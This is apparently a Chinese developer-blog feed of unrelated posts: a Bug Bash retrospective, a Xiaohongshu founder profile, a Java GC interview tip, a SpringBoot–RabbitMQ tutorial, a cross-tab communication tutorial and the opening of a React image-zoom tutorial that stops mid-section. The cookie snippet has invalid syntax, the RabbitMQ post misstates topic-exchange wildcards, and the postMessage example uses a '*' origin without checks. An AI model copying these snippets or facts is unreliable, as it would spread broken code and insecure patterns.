在日常的工作中,产研测更多时间都是在独立的工作,只关注自己负责的部分,很少就产品问题进行集体交流,很少深度使用整个产品。通过bugbash可以让团队其他角色作为用户体验产品,深入了解业务。在对这些问题进行集中讨论,并详细解释如何处理以及为什么这么处理过程中,可以引发更多产品的思考。

四、Bug Bash组织实践





图 2

1、活动准备

1.1、部门宣贯

在部门工作咚咚群内通知本次bugbash活动的计划安排(joyspace.jd.com/sheets/XXXX),确定活动组织时间、活动会议室、小组划分情况。目前部门内产品主要包括JDQ、JRC、集成平台三大产品,为更有效的进行相互"扫除",我们进行了轮次划分,小组划分。如下表所示:

轮 次小 组答疑人员时 间地 点备 注
第1轮JRC vs JDQJRC:段东妮 JDQ:尹伟2023.11.15 18:00红河会议室自由探索人员自行选择产品扫除
第2轮集成平台 vs JRC+JDQ集成平台:郭卫卫 JRC:段东妮 JDQ:尹伟2023.11.22 18:00红河会议室自由探索人员自行选择产品扫除

表 1

提示:本次bugbash是针对生产环境进行扫除,涉及到流程审批环节时需提前通知对方审批,避免因未审批导致阻塞后面的流程。

1.2、用例准备&评审

bugbash正式开始之前,测试人员应提前准备各自负责产品的测试用例,并邀请产品经理、产品主研发一起进行用例评审,划定活动范围。可以参考以下几个方面:

产品的主流程业务场景。比如创建binlog采集任务、正常消费topic数据等。

日常运维工作中经常用到的场景。比如消费者暂停消费操作等。

跨平台联合查询场景。比如通过JDQ消费者username查询关联的JRC的flink任务等。

隐藏性功能场景。比如正常情况下A功能不会显示,需要打开某个开关才可正常显示等。





图 3

1.3、测试数据准备

根据用例场景、活动参加人数来准备测试数据。主要包括所属平台、测试数据类型、测试jed数据表、测试ck数据表、测试数据说明、使用人如下图所示:





图 4

提示:提前给活动参与人员统一添加权限。比如使用指定的项目空间。

2、活动进行

活动时间安排:10分钟介绍本活动轮次情况,50分钟任务执行,10分钟交流发言。

2.1、任务分配

根据活动轮次、小组划分情况进行任务划分,以JRC vs JDQ为例,JRC的研发等相关人员执行JDQ的任务,反之,JDQ的研发相关人员执行JRC的任务。

2.2、测试数据分配

为避免使用相同测试数据导致任务创建冲突等情况,双方人员需对测试数据进行标记认领。如上图4 使用人列。

2.3、问题记录

双方人员在大扫除过程中发现问题及时记录到joyspace中,不需要现场讨论产品细节,标明测试验证人、测试时间、结果填写、测试验证结果。将来可以根据问题的价值与重要程度给予不同奖励。如上图3 所示

2.4、现场答疑

产品主测试人员为活动答疑人员,双方人员可能存在以下场景需要现场支持:

任务创建成功了,需要XXX审批,答疑人员跟进审批操作。

对产品功能不了解,对用例场景描述不太理解,需要指导。

3、活动结束

3.1、问题收集

对发现的所有问题进行合并去重、分类汇总。包括问题编号、问题所属产品、执行的任务编号、问题缺陷描述、截图或错误日志、记录人(任务执行人),问题分类。

问题处理。和产品主研发、产品经理一起组会评审问题优先级、是否改进、改进方案、改进负责人、改进预计完成时间、改进状态等。





图 5

3.2、问题复盘

本次bugbash活动共发现问题 40个,其中功能性bug 2个,确定需要改进的有30个,以前端优化为主。

测试人员根据发现的问题完善产品用例,进一步提高产品质量。

4、活动总结

4.1、参与用户心声

提供了学习其他产品的机会

了解别的产品都是做什么的,以及怎么用的,交叉体验更符合用户的身份,发现更多问题。在大家都很忙的时候,能抽出这么长的时间不容易。

提供了测试场景,避免盲目测试

活动中选取的测试场景主要都是日常工作中遇到,测试人员将操作步骤描述的很清楚,方便大扫除的人员进行执行。

4.2、待改进的地方

关键节点审批阻塞

由于流程环节审批人因各种原因(临时开会、临时请假等)不到场,导致流程审批阻塞,任务无法向下执行。后续可在审批环节增加backup人员。

时间紧,有的任务执行不完

由于整个活动只有一个小时时间,非业务相关人员理解业务知识需要一定的时间。后续可适当延长活动时间并精简任务场景,比如可以分专题开展活动,类似产品界面易用性、安全性、国际化等等。

激励机制待提升

本次活动缺少一些物质(比如小礼物:酸奶、巧克力等)或精神(徽章、T恤)奖励,大家参与的积极性有待提升。建议引入游戏竞争机制,可以增加趣味性,调动积极性,真正做到真正寓工作于娱乐。



五、思考

Bug Bash平台化

本次bugbash大扫除活动主要还是线下组织+共享文档形式为主,如果能建设拥有一个平台可以随时随地的组织bugbash,自由选择产品业务场景,灵活多变的任务下发就会更高效。

Bug Bash范围扩大化

不是只让产研测内部团队成员参与Bug Bash,也可以邀请用户参与,参与的人越多,越容易发现问题。

by 京东云开发者 at January 20, 2025 01:41 AM

juejin career

小红书创始人瞿芳,武汉人,北京外国语大学毕业,2013 年从外企离职,目前身价 120 亿

大家好,我是二哥呀。

今天我们来聊聊小红书的创始人瞿芳,1985 年出生于湖北武汉,毕业于武汉外国语学校,硕士就读于北京外国语学校。

毕业后进入贝塔斯曼工作,这是一家老牌外企,1835 年就有了,真的非常老,瞿芳在这里工作了 5 年。

瞿芳的执行力也是拉满,2013 年 5 月底离职,6 月赴美寻找风投,7 月初就和老乡毛文超在上海创立了小红书的母公司行吟信息科技有限公司。

长相上我觉得有一点邓丽君的感觉,大家觉得呢?

  • 2015-2016 年,瞿芳连续两年被《创业邦》评为“值得关注的女性创业者”;这些年小红书的成长,瞿芳确实功不可没,值得关注。
  • 2017 年,瞿芳荣登腾讯“我是创始人”荣耀榜单;小红书背后有阿里和腾讯两家大佬的投资,原来两家是从来不投一家公司的,瞿芳背后的斡旋算是让两家暂时握了手。
  • 2020 年,瞿芳入选“中国最具影响力的 30 位商界女性”榜单;目前来看,小红书还处在上升势头,并且流量拉满,瞿芳的身价肯定也会水涨船高。
  • 2024 年,瞿芳以 120 亿元的人民币财富位列《2024-胡润榜》的第 433 位;这还是在小红书没有上市的情况下。

瞿芳曾在采访中强调,用户体验和社区氛围是小红书最看重的

这也是小红书这个平台和微博、抖音最大的区别,你可能在小红书上百粉不到,但发布的内容却会被推荐到平台首页,成为爆款。

微的推荐机制现在也有这种趋势,就是粉丝数越少,反而被推荐的机会越多。

沉默王二 2024 年就有 3000 万次阅读

瞿芳认为,品牌与用户的沟通应该从“教学模式”转向“恋爱模式”。

也就是说,我们创作者不能再以老师的角度切入,把读者作为学生来传达信息,而是奔着双方恋爱的方式切入。

更加的纯粹,双方的地位更加的对等。

宝子们,都看到了吧,我爱你们,😄

2013 年的时候,跨境旅游开始兴起,于是,瞿芳就和毛文超一起去找当地的购物达人,把他们的经验编成了一本厚厚的 PDF,书名就叫“小红书”。

这本 PDF 放到网上以后,引起了巨大的反响,一个月的下载量就突破了 50 万次。

尝到了甜头后,瞿芳和毛文超再接再厉,于 2013 年 12 月上线了小红书 App,相当于提供了一个购物的分享平台,注意不是电商平台,而是社区分享平台,让用户来分享自己的购物心得。

这个定位就非常的巧妙。

如果单纯地做电商平台,那么竞争对手多了去,比如说淘宝、天猫、京东,以及拼多多。

但做社区平台的话,当时还没有什么竞争对手,虽然点评和美图秀秀都曾在自己的业务中加入大量的社区内容,并放出豪言,但最终都没有竞争过小红书。

2014 年,小红书就聚集了几百万用户了,于是瞿芳就上线了一款希腊产的清洗液,结果直接被秒光了。

到 2017 年,小红书的营收就突破了 100 亿。

截止到目前,小红书已经发展成为了一个生活社区,基本上你想要的东西,你想找的地方,你想看的美女,小红书上都有。据说,月活用户已经达到了 3 亿。

其中女性用户占比 70%,日均用户搜索渗透率达到 60%,用户生成内容(UGC)占比高达 90%。

根本不需要 KOL。

2025 年 1 月,由于 TikTok 可能会被美国封禁,所以大量的海外用户开始涌入小红书。

中西文化的融合,在此刻显然格外的自然和松弛。

我现在打开小红书,已经很少看到原住民发的东西了,这波算法也被太平洋彼岸的热情感染了。

瞿芳在一次采访中的一段话我觉得很值得分享给大家,我套用一下:

“就像今天手机屏幕前的你们,可能大学生可能是工作党,但不管大家是怎样的身份,回到家里,可能还是会跟家人吃一顿最简单的饭,跟最爱的人一起去做一些有创造性的事情。”

我们要回到生活中去,而不只是活在虚拟世界里。

三分恶面渣逆袭

我这人一向说到做到,每天给大家汇报一下面渣逆袭的进度,这就来。今天修改到第 36 题。

35.你们线上用的什么垃圾收集器?

我们生产环境中采用了设计比较优秀的 G1 垃圾收集器,因为它不仅能满足低停顿的要求,而且解决了 CMS 的浮动垃圾问题、内存碎片问题。

G1 非常适合大内存、多核处理器的环境。

以上是比较符合面试官预期的回答,但实际上,大多数情况下我们可能还是使用的 JDK 8 默认垃圾收集器。

可以通过以下命令查看当前 JVM 的垃圾收集器:

java -XX:+PrintCommandLineFlags -version

二哥的 Java 进阶之路:JDK 默认垃圾收集器

UseParallelGC = Parallel Scavenge + Parallel Old,表示新生代用Parallel Scavenge收集器,老年代使用Parallel Old 收集器。

因此你也可以这样回答:

我们系统的业务相对复杂,但并发量并不是特别高,所以我们选择了适用于多核处理器、能够并行处理垃圾回收任务,且能提供高吞吐量的Parallel GC

但这个说法不讨喜,你也可以回答:

我们系统采用的是 CMS 收集器,能够最大限度减少应用暂停时间。

内容来源

三分恶的面渣逆袭:javabetter.cn/sidebar/san… 二哥的 Java 进阶之路(GitHub 已有 13000+star):github.com/itwanger/to…

最后,把二哥的座右铭送给大家:没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟。共勉 💪。

by 沉默王二 at January 20, 2025 01:29 AM

juejin backend

SpringBoot整合RabbitMQ

RabbitMQ

简介

消息中间件:它接收消息并且转发,就类似于一个快递站,卖家把快递通过快递站,送到我们的手上,MQ也是这样,接收并存储消息,再转发。 RabbitMQ在 2007 年由Rabbit科技有限公司发布,是一个在 AMQP(高级消息队列协议)基础上完成的,可复用的企业消息系统,是当前最主流的消息中间件之一。 RabbitMQ是一个由erlang开发的AMQP(Advanced Message Queue 高级消息队列协议 )的开源实现,由于erlang 语言的高并发特性,性能较好,本质是个队列,FIFO 先入先出,里面存放的内容是message。

用途

MQ的用途最常用的有三个:流量削峰、应用解耦和异步处理。

流量削峰

流量削峰简单概括就是在访问量剧增的情况下,但是应用仍然不能停。比如“双十一”下单的人多,平时的服务没有办法一下子处理如此巨大的流量,那么就可以把这些订单放入到MQ中,使用MQ作缓冲,把一秒内下的订单分散到一段时间去处理,这样虽然用户那边过了十几秒才收到下单成功的消息,但总比直接下单失败要好很多,当然真正的双十一措施要远比这个复杂得多。

应用解耦

以电商中的订单服务举例,订单作为核心业务要涉及到支付、库存、物流等服务,若是不解耦其中一个子系统出了问题,下单就会失败,这显然是违背了高可用原则的。MQ就可以用于这些服务的解耦,将这些服务都放入到MQ中进行处理,这样即使某个服务突然挂了,订单服务也不会立刻失败,需要处理的内存被缓存在MQ中,当失败的服务恢复后可以继续处理订单业务。 MQ_jieou

异步调用

有些服务间调用是异步的,例如 A 调用 B,B 需要花费很长时间执行,但是 A 需要知道 B 什么时候可以执行完,以前一般有两种方式,A 过一段时间去调用 B 的查询 api 查询。或者 A 提供一个 callback api, B 执行完之后调用 api 通知 A 服务。 这两种方式都不是很优雅,使用消息总线,可以很方便解决这个问题,A 调用 B 服务后,只需要监听 B 处理完成的消息,当 B 处理完成后,会发送一条消息给 MQ,MQ 会将此消息转发给 A 服务。这样 A 服务既不用循环调用 B 的查询 api,也不用提供 callback api。同样 B 服务也不用做这些操作。A 服务还能及时的得到异步处理成功的消息。 MQ_yibu

组件

  • Broker: 接收和分发消息的应用,RabbitMQ Server就是Message Broker
  • Connection: publisher / consumer和 broker之间的TCP连接
  • Channel:如果每一次访问RabbitMQ都建立一个Connection,在消息量大的时候建立TC PConnection的开销将是巨大的,效率也较低。Channel是在connection 内部建立的逻辑连接,如果应用程序支持多线程,通常每个thread创建单独的channel进行通讯,AMQP method包含了channel id 帮助客户端和message broker识别 channel,所以channel 之间是完全隔离的。Channel作为轻量级的Connection极大减少了操作系统建TCP connection的开销
  • Exchange: message 到达 broker 的第一站,根据分发规则,匹配查询表中的 routing key,分发消息到queue 中去。常用的类型有: direct (point-to-point), topic(publish-subscribe) and fanout
  • Routing Key:生产者将消息发送到交换机时会携带一个key,来指定路由规则
  • binding Key:在绑定Exchange和Queue时,会指定一个BindingKey,生产者发送消息携带的RoutingKey会和bindingKey对比,若一致就将消息分发至这个队列
  • vHost 虚拟主机:每一个RabbitMQ服务器可以开设多个虚拟主机每一个vhost本质上是一个mini版的RabbitMQ服务器,拥有自己的 "交换机exchange、绑定Binding、队列Queue",更重要的是每一个vhost拥有独立的权限机制,这样就能安全地使用一个RabbitMQ服务器来服务多个应用程序,其中每个vhost服务一个应用程序。

交换机类型

  • direct Exchange(直接交换机) 匹配路由键,只有完全匹配消息才会被转发

  • Fanout Excange(扇出交换机) 将消息发送至所有的队列

  • Topic Exchange(主题交换机) 将路由按模式匹配,此时队列需要绑定要一个模式上。符号“#”匹配一个或多个词,符号“.“匹配不多不少一个词。因此“abc.#”能够匹配到“abc.def.ghi”,但是“abc.” 只会匹配到“abc.def”。

  • Header Exchange 在绑定Exchange和Queue的时候指定一组键值对,header为键,根据请求消息中携带的header进行路由

工作模式

  • simple(简单模式) 一个生产者对应一个消费者。
  • Work queues(工作模式) 一个生产者生产,多个消费者进行消费,一条消息消费一次。
  • Publish/Subscibe(发布订阅模式) 生产者首先投递消息到交换机,订阅了这个交换机的队列就会收到生产者投递的消息。
  • Routing(路由模式) 生产者生产消息投递到direct交换机中,扇出交换机会根据消息携带的routing Key匹配相应的队列。
  • Topics(主题模式) 生产者生产消息投递到topic交换机中,上面是完全匹配路由键,而主题模式是模糊匹配,只要有合适规则的路由就会投递给消费者。

基础整合

引入maven依赖

<!--amqp依赖-->
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-amqp</artifactId>
</dependency>

RabbitMQ的自动配置类RabbitAutoConfiguration自动配置了连接工厂ConnectionFactory。ConnectionFactory从配置RabbitProperties中获取连接信息完成连接到RabbitMQ服务器。程序中可以注入RabbitTemplate给RabbitMQ发送和接收消息。

全局配置文件中配置RabbitMQ连接信息

spring:
  rabbitmq:
    host: 192.168.0.117 #rabbitmq服务器地址
    port: 5672         #端口号
    username: guest    #用户名
    password: guest    #密码
    #virtual-host:     #虚拟主机

测试发送数据

@RunWith(SpringRunner.class)
@SpringBootTest
public class MQTest {
    @Autowired
    private RabbitTemplate rabbitTemplate;
    @Test
    public void testSendDirect(){
        // Message需要自己构造一个;定义消息体内容和消息头
        // rabbitTemplate.send(exchage,routeKey,message);
        HashMap<String, Object> map = new HashMap<>();
        map.put("name", "baobao");
        map.put("age", 18);
        map.put("list", Arrays.asList(1,2,3,4,5));
        // 将map对象序列化以后,以baobao为路由键发送到exchange.direct,exchange会根据路由键将消息路由到具体的队列
        rabbitTemplate.convertAndSend("exchange.direct", "baobao", map);
    }
}

clipboard-1591066767967

clipboard-1591066771100 可以发现默认发给RabbitMQ的数据以jdk的方式进行序列化,并且消息头中的content_type保存了消息体的类型。

测试接收数据

@Test
public void testReceiveDirect(){
    // 从指定队列中接收数据
    Object data = rabbitTemplate.receiveAndConvert("baobao");
    System.out.println(data.getClass());
    System.out.println(data);
}

clipboard-1591066802619

自定义json序列化

SpringBoot中,默认发送的对象实例是以JDK序列化的,这总序列化不仅不容易查看消息,还占用较大的内存。

我们可以自己定制序列化方式,这里以json为例:

在自定义配置文件中添加一个自己的MessageConverter,类型是Jackson2JsonMessageConverter

@Configuration
public class MyRabbitConfig {
    // 添加json格式序列化器
    @Bean
    public MessageConverter messageConverter(){
        return new Jackson2JsonMessageConverter();
    }
}

进行测试

// 测试广播和json序列化
@Test
public void testJsonSerilize(){
    // 广播可以不需要传路由键
    rabbitTemplate.convertAndSend("exchange.fanout", "", new Person("文亮", 18));
}

clipboard-1591066900812 可以发现消息头中的content_type属性保存了消息体的类型为application/json,__TypeId__属性保存了javabean的全类名,用于反序列化

监听消息

@RabbitListener

先在主程序上加@EnableRabbit,开启基于注解的RabbitMQ模式

@SpringBootApplication
@EnableRabbit
public class MainApplicationMQ {
    public static void main(String[] args) {
        SpringApplication.run(MainApplicationMQ.class, args);
    }
}

编写1个Service,声明一个监听方法,方法上标注@RabbitListener,传入需要监听的队列名。监听方法可以接收的参数如下(无需保证参数顺序):

  • Message对象:原生消息的详细信息,包括消息头+消息体
  • 自定义实体类对象:用消息体反序列化后得到的Javabean
  • Channel对象:当前传输的数据通道
@Service
public class PersonService {
    /**
     * 监听队列baobao中的消息,有消息会自动取出并回调该方法
     * @param message 原生消息的详细信息,包括消息头+消息体
     * @param person  从消息体中解码出的javabean
     * @param channel 当前传输的数据通道
     */
    @RabbitListener(queues = "baobao")
    public void listen(Message message, Person person, Channel channel){
        System.out.println(message);
        System.out.println(person);
        System.out.println(channel);
    }
}

启动该消费者,从队列中消费1条消息: clipboard-1591066973657 控制台打印结果

// message
(Body:'{"name":"文亮","age":18}' MessageProperties [headers={__TypeId__=com.baobao.springbootdemo.mq.bean.Person}, contentType=application/json, contentEncoding=UTF-8, contentLength=0, receivedDeliveryMode=PERSISTENT, priority=0, redelivered=false, receivedExchange=amq.fanout, receivedRoutingKey=, deliveryTag=1, consumerTag=amq.ctag-81sPttG477H4uOtS_e6tHA, consumerQueue=baobao])
// person
Person{name='文亮', age=18}
// channel
Cached Rabbit Channel: AMQChannel(amqp://guest@192.168.56.55:5672/,1), conn: Proxy@21a02097 Shared Rabbit Connection: SimpleConnection@2496b460 [delegate=amqp://guest@192.168.56.55:5672/, localPort= 6257]

注意:

  • 如果只有一个消费客户端,那么rabbitmq默认会将队列中的所有一次性发到消费者,但是消费者接收到消息后只能1个1个处理,只有处理完1个消息(即监听方法运行完毕,哪怕执行时间很长),才能继续处理下一个消息
  • 如果启动多个客户端,都对应同一个监听消息的方法,那么对于同一个消息,只有1个客户端可以接收到
  • 监听方法中的消息实例对象要与发送端对应,比如发送端发送字节数组那么接收端也要声明为字节数组参数;发送端发送Person对象那么接收端也要声明为Person类型参数

@RabbitHandler

我们还可以采用@RabbitListener配合@RabbitHandler的方式完成对消息的监听:

  • @RabbitListener:标注在类上,指定监听哪些队列
  • @RabbitHandler:标注在每个接收并处理不同消息的重载方法上,区分处理不同类型的消息
@Service
@RabbitListener(queues = {"baobao","baobao.news","baobao.map"})
public class PersonService {
    @RabbitHandler
    public void handlePersonMsg(Person person){
        System.out.println(person);
    }

    @RabbitHandler
    public void handleUserMsg(User user){
        System.out.println(user);
    }
}

创建交换机、队列、绑定关系

利用AmqpAdmin

给程序中注入AmqpAdmin可以实现对RabbitMQ的管理,它的declareXXX方法可以创建exchange、queue、binding等

public class MQTest {
    @Autowired
    private RabbitTemplate rabbitTemplate;

    @Autowired
    private AmqpAdmin amqpAdmin;

    @Test
    public void testAmqpAdmin(){
        // 创建一个Direct类型的exchange
        amqpAdmin.declareExchange(new DirectExchange("exchange.amqpadmin"));
        // 创建一个queue
        amqpAdmin.declareQueue(new Queue("queue.amqpadmin"));
        // 添加exchange和queue之间的绑定
        amqpAdmin.declareBinding(new Binding("queue.amqpadmin", Binding.DestinationType.QUEUE,
                "exchange.amqpadmin","queue.amqpadmin",null));
    }

使用amqpAdmin创建交换机、队列、绑定关系时,会先检查rabbitmq有是否已经存在对应的交换机、队列、绑定关系,如果不存在才创建,已存在就什么都不做

直接在容器中放置对象

另外还有一种方法可以创建Queue、exchange和绑定关系,直接在容器中放置即可。当执行任何操作rabbitmq的方法时,如果rabbitmq发现还没有队列、交换机或绑定关系,就会自动创建

@Configuration
public class MyRabbitConfig {
    @Autowired
    private RabbitTemplate rabbitTemplate;

    // 创建一个交换机:参数1 交换机名称,参数2 是否持久化,参数3 是否自动删除
    @Bean
    public Exchange exchange(){
        return new DirectExchange("test.direct", true, false);
    }

    // 创建一个队列:参数1 队列名称,参数2 是否持久化,参数3 是否排他,参数4 是否自动删除
    @Bean
    public Queue queue(){
        return new Queue("test.queue", true, false, false);
    }

    // 创建交换机和队列的绑定关系:参数1 绑定的目标,参数2 绑定的目标类型,参数3 交换机名称,参数4 路由键,参数5 绑定参数
    @Bean
    public Binding binding(){
        return new Binding("test.queue", Binding.DestinationType.QUEUE,"test.direct",
                "queue", null);
    }

注意:

  • 直接在容器中放置Bean相比于直接利用AmqpAdmin来创建交换机、队列、绑定关系的区别是,容器中放置Bean的方式是懒加载的,也就是说并不会在容器启动时就创建,而是等我们的应用第一次连接rabbitmq进行操作的时候才创建交换机、队列、绑定关系。其底层原理是:当连接第一次创建时,会回调连接创建的监听方法,从容器中查找所有Exchange、Queue和Binding对象,然后利用AmqpAdmin将它们进行创建。也就是说SpringBoot应用刚启动时是不会创建这些对象的,只有程序首次连接rabbitmq获取connection时才会创建
  • 只有rabbitmq中不存在对应的交换机、队列、绑定关系时才会创建,已存在就什么都不做

另外也可以利用Builder模式链式创建

// 利用Builder模式链式创建
@Bean
public Exchange exchange2(){
    // 默认就是非自动删除
    return ExchangeBuilder.directExchange("direct.exchange").durable(true).build();
}

@Bean 
public Queue queue2(){
    // 默认就是非自动删除,不排他
    return QueueBuilder.durable("queue").build();
}

@Bean 
public Binding binding2(@Qualifier("queue2") Queue queue,@Qualifier("exchange2") Exchange exchange){
    return BindingBuilder.bind(queue).to(exchange).with("routingkey").noargs();
}

by LemonDu at January 20, 2025 01:28 AM

juejin frontend

跨标签页通信:解锁Web开发中的数据同步与交互新境界

在Web开发中,每个标签页或窗口通常被视为独立的JavaScript执行环境,这意味着它们之间无法直接共享数据或进行通信。然而,在实际应用中,我们经常需要在不同的标签页或窗口之间传递信息,例如同步状态、通知更新等。这种需求可以通过跨标签页通信来实现。

常见的跨标签页通信方法

  1. 使用localStoragestorage事件

    • 原理localStorage是一种Web Storage API,可以在客户端存储数据。当一个标签页修改了localStorage中的数据时,其他标签页可以通过监听storage事件来获取更新的数据。
    • 优点:简单易用,不需要网络请求,适合数据同步。
    • 缺点:不适合频繁更新的大数据量,因为每次修改都会触发事件。

    发送数据的标签页

    window.localStorage.setItem('sharedData', 'Hello, World!');
    

    接收数据的标签页

    window.addEventListener('storage', (event) => {
      if (event.key === 'sharedData') {
        console.log('Received data:', event.newValue);
      }
    });
    
  2. 使用BroadcastChannel API

    • 原理BroadcastChannel是HTML5提供的API,允许同源的不同文档(如不同标签页、iframe等)之间进行异步通信。通过创建一个BroadcastChannel实例,并监听message事件,可以实现跨标签页的数据传递。
    • 优点:支持实时通信,适用于需要快速响应的场景。
    • 缺点:仅限于同源策略下的页面通信。

    /发送数据的标签页

    
    const channel = new BroadcastChannel('sharedData');
    channel.postMessage('Hello, World!');
    

    /接收数据的标签页

    const channel = new BroadcastChannel('sharedData');
    channel.onmessage = (event) => {
      console.log('Received message:', event.data);
    };
    
  3. 使用postMessage API

    • 原理postMessage是一种跨源通信的方式,允许不同源的窗口之间传递消息。通过window.open打开一个新的窗口,并使用postMessage方法发送消息,接收方通过监听message事件接收消息。
    • 优点:支持跨域通信,灵活性高。
    • 缺点:需要处理跨域安全问题,且消息大小有限制。

    发送数据的标签页

    const newWindow = window.open('', '_blank');
    newWindow.postMessage('Hello', '*');
    

    接收数据的标签页

    window.addEventListener('message', (event) => {
      console.log('Received message:', event.data);
    });
    
  4. 使用cookie

    原理:通过Cookie实现跨页面通信是一种常见的前端技术,主要用于在不同页面之间共享数据。

    优点:Cookie因其简单易用且支持过期时间。

    缺点

    并不是实时的,并且可能会因为定时器的精度而引入一些延迟;

    频繁地检查cookie可能会对性能产生一定的影响;

    容易受到跨站脚本攻击(XSS)和跨站请求伪造(CSRF)等攻击

    发送数据的标签页

document.cookie = "name=John Doe; expires=Sun, 01 Jan 2025 00:00:00 GMT; path=/";

接收数据的标签页

 var cookies = document.cookie.split(';');
 for (var i = 0; i < cookies.length; i++) {
     var cookie = cookies[i];
     var eq pos = cookie.indexOf('=');
     if (eq pos > -1) {
         var name = cookie.substring(0, eq pos);
         var value = cookie.substring(eq pos + 1);
         if (name === 'name') {
             console.log('Cookie value: ' + value);
         }
     }
 }
  1. Service Worker

    1. 检查浏览器支持

    首先,需要检查浏览器是否支持 Service Worker API。这可以通过检查 navigator 对象中是否存在 serviceWorker 属性来实现。

    if ('serviceWorker' in navigator) {
        // 浏览器支持 Service Worker
    }
    

    2. 注册 Service Worker

    在支持 Service Worker 的浏览器中,使用 navigator.serviceWorker.register() 方法来注册 Service Worker 脚本。通常,这个脚本文件命名为 service-worker.js,并放置在网站的根目录下。

    if ('serviceWorker' in navigator) {
        window.addEventListener('load', function () {
            navigator.serviceWorker.register('/service-worker.js')
                .then(function (registration) {
                    console.log('Service Worker 注册成功,作用域为: ', registration.scope);
                })
                .catch(function (error) {
                    console.log('Service Worker 注册失败: ', error);
                });
        });
    }
    

    3. Service Worker 文件内容

    service-worker.js 文件包含了 Service Worker 的生命周期事件处理逻辑。以下是一个简单的示例,展示了如何在安装阶段缓存一些静态资源。

    // 定义缓存名称和需要缓存的资源列表
    var CACHE_NAME = 'my_cache_v1';
    var urlsToCache = [
        '/',
        '/index.html',
        '/styles/main.css',
        '/scripts/main.js',
        '/images/logo.png'
    ];
    
    // 安装事件:缓存静态资源
    self.addEventListener('install', function(event) {
        event.waitUntil(
            caches.open(CACHE_NAME)
                .then(function(cache) {
                    console.log('打开缓存并缓存资源');
                    return cache.addAll(urlsToCache);
                })
        );
    });
    
    // 激活事件:清理旧的缓存
    self.addEventListener('activate', function(event) {
        var cacheWhitelist = [CACHE_NAME];
    
        event.waitUntil(
            caches.keys().then(function(cacheNames) {
                return Promise.all(
                    cacheNames.map(function(cacheName) {
                        if (cacheWhitelist.indexOf(cacheName) === -1) {
                            return caches.delete(cacheName);
                        }
                    })
                );
            })
        );
    });
    
    // Fetch 事件:使用缓存中的资源
    self.addEventListener('fetch', function(event) {
        event.respondWith(
            caches.match(event.request)
                .then(function(response) {
                    if (response) {
                        return response;
                    }
                    return fetch(event.request);
                })
        );
    });
    

    4. 生命周期管理

    Service Worker 的生命周期包括注册、安装、激活和终止四个阶段。每个阶段都有相应的事件可以监听和处理。

    • 注册:通过 navigator.serviceWorker.register() 方法注册 Service Worker。
    • 安装:在 install 事件中,可以执行一些初始化操作,比如缓存静态资源。
    • 激活:在 activate 事件中,可以清理旧的缓存,确保只有最新的缓存被使用。
    • 终止:当不再需要 Service Worker 时,可以通过调用 serviceWorker.unregister() 方法来卸载它。

    5. 安全性和性能优化

    • 安全性:Service Worker 必须通过 HTTPS 来注册,以保证通信的安全性。
    • 性能优化:Service Worker 可以用于性能优化,比如通过预加载资源来加快页面加载速度。

结论

跨标签页通信是现代Web开发中不可或缺的一部分。根据具体需求和场景选择合适的方法,可以有效地解决多标签页或跨窗口之间的数据同步问题。无论是简单的localStorage还是高效的BroadcastChannel,亦或是灵活的postMessagecookie,都可以为开发者提供强大的工具来实现这一功能。希望本文能帮助你更好地理解和应用这些技术。

by destinying at January 20, 2025 01:23 AM

juejin career

2024,技术分享欲的终结

刚刚参加工作的时候,鉴于本人实在有限的技术水平,那是干啥啥新鲜。我会用一个小笔记本记录每天学到的不同的知识。大到框架设计,小到一些安卓开发的技巧都会记录在案。现在看起来可能都是一些很稀松平常的,网络上一搜就能知晓的细节,我都更偏向记录在书本上,仿佛写下来了,知识就变成了自己的一样。我第一次写安卓app,被组里一个菲律宾大哥教育说string resource可以根据国家locale保存不同版本,在不同国家设定下显示不同的字符的时候,毫不夸张的说,我的嘴巴变成了O型。

久而久之,我之后平台上的分享也是一样,其实也是记录自己某段时期学习到新知识新内容的一个体会,算是“夯实”的一个过程。如果没有我觉得够新鲜,或者够营养的东西,那不如不分享。甚至可以说,我更多的时候对做成一件事并不是特别感兴趣,而是对这个事情怎么做成的感兴趣。我喜欢探究一个技术的底层原理,而不是实现的过程。

这种心态直接导致了我在工作中对一些工程性的东西非常懈怠,发自内心的不想做。做完了设计,我会沾沾自喜的分享出去给组员审核,包括去实现自己所谓的精美的设计的时候,我都是可以100%专注的。但是一旦涉及到怎么release,流程的东西我就gg了。

从15年开始断断续续的在不同平台上更新,到现在快十年了,才发现上一次分享竟然是一年多以前。很多时候我隔几个月才写一次文章纯纯是因为懒。但是今天回想起来,却完全不记得这过去一年有什么是符合我分享标准的新鲜知识?好像真的这一年就是在工作,就是完成软件工程的任务而已。这一年我做了很多流程的东西,做了很多mentor的东西,唯独好像对没有再给自己投资点什么。

我曾经和转码的老婆说过,什么时候你发现在当前工作内容中无法提取新知识的时候,就可以跳槽了。结果这个事情发生在我自己身上的时候,我好像并没有对自己实施一样的标准。。。。

24年底请了一个月的假终于回国了一趟,上一次回国还是2019年,整整五年。感慨万千。国内的发展真的日新月异,电车品牌多的数不过来。和老婆落地的第一天凌晨四点半就忍不住起床在上海的街道上city walk了。第二天更是站在酒店门前,硬生生的看了半小时上海马拉松。朋友说我闲的无聊,我说我就想多看看人。。。。。。。

IMG_9993.JPG

by qing的世界 at January 20, 2025 12:54 AM

juejin frontend

React 图片放大组件 Image Zoom

引言

在现代Web开发中,图片展示是用户界面设计的重要组成部分。为了提升用户体验,许多网站和应用提供了图片放大的功能,让用户可以更清晰地查看图片的细节。React作为流行的前端框架,可以帮助我们快速构建这种交互式组件。本文将由浅入深地介绍如何使用React创建一个图片放大组件(Image Zoom),并探讨常见的问题、易错点及解决方案。

image.png

1. 基础概念与实现

1.1 组件结构

首先,我们需要理解图片放大组件的基本结构。通常,这个组件包含两个部分:原始图片和放大部分。用户可以通过鼠标悬停或点击来触发放大效果。我们可以使用React的状态管理来控制放大状态,并通过CSS样式或第三方库来实现放大的视觉效果。

import React, { useState } from 'react';
import './ImageZoom.css';

const ImageZoom = ({ src }) => {
  const [isZoomed, setIsZoomed] = useState(false);

  return (
    <div className="image-zoom-container">
      <img 
        src={src} 
        alt="Product" 
        onMouseEnter={() => setIsZoomed(true)} 
        onMouseLeave={() => setIsZoomed(false)}
        onClick={() => setIsZoomed(!isZoomed)}
        className={isZoomed ? 'zoomed' : ''}
      />
    </div>
  );
};

export default ImageZoom;

1.2 样式设置

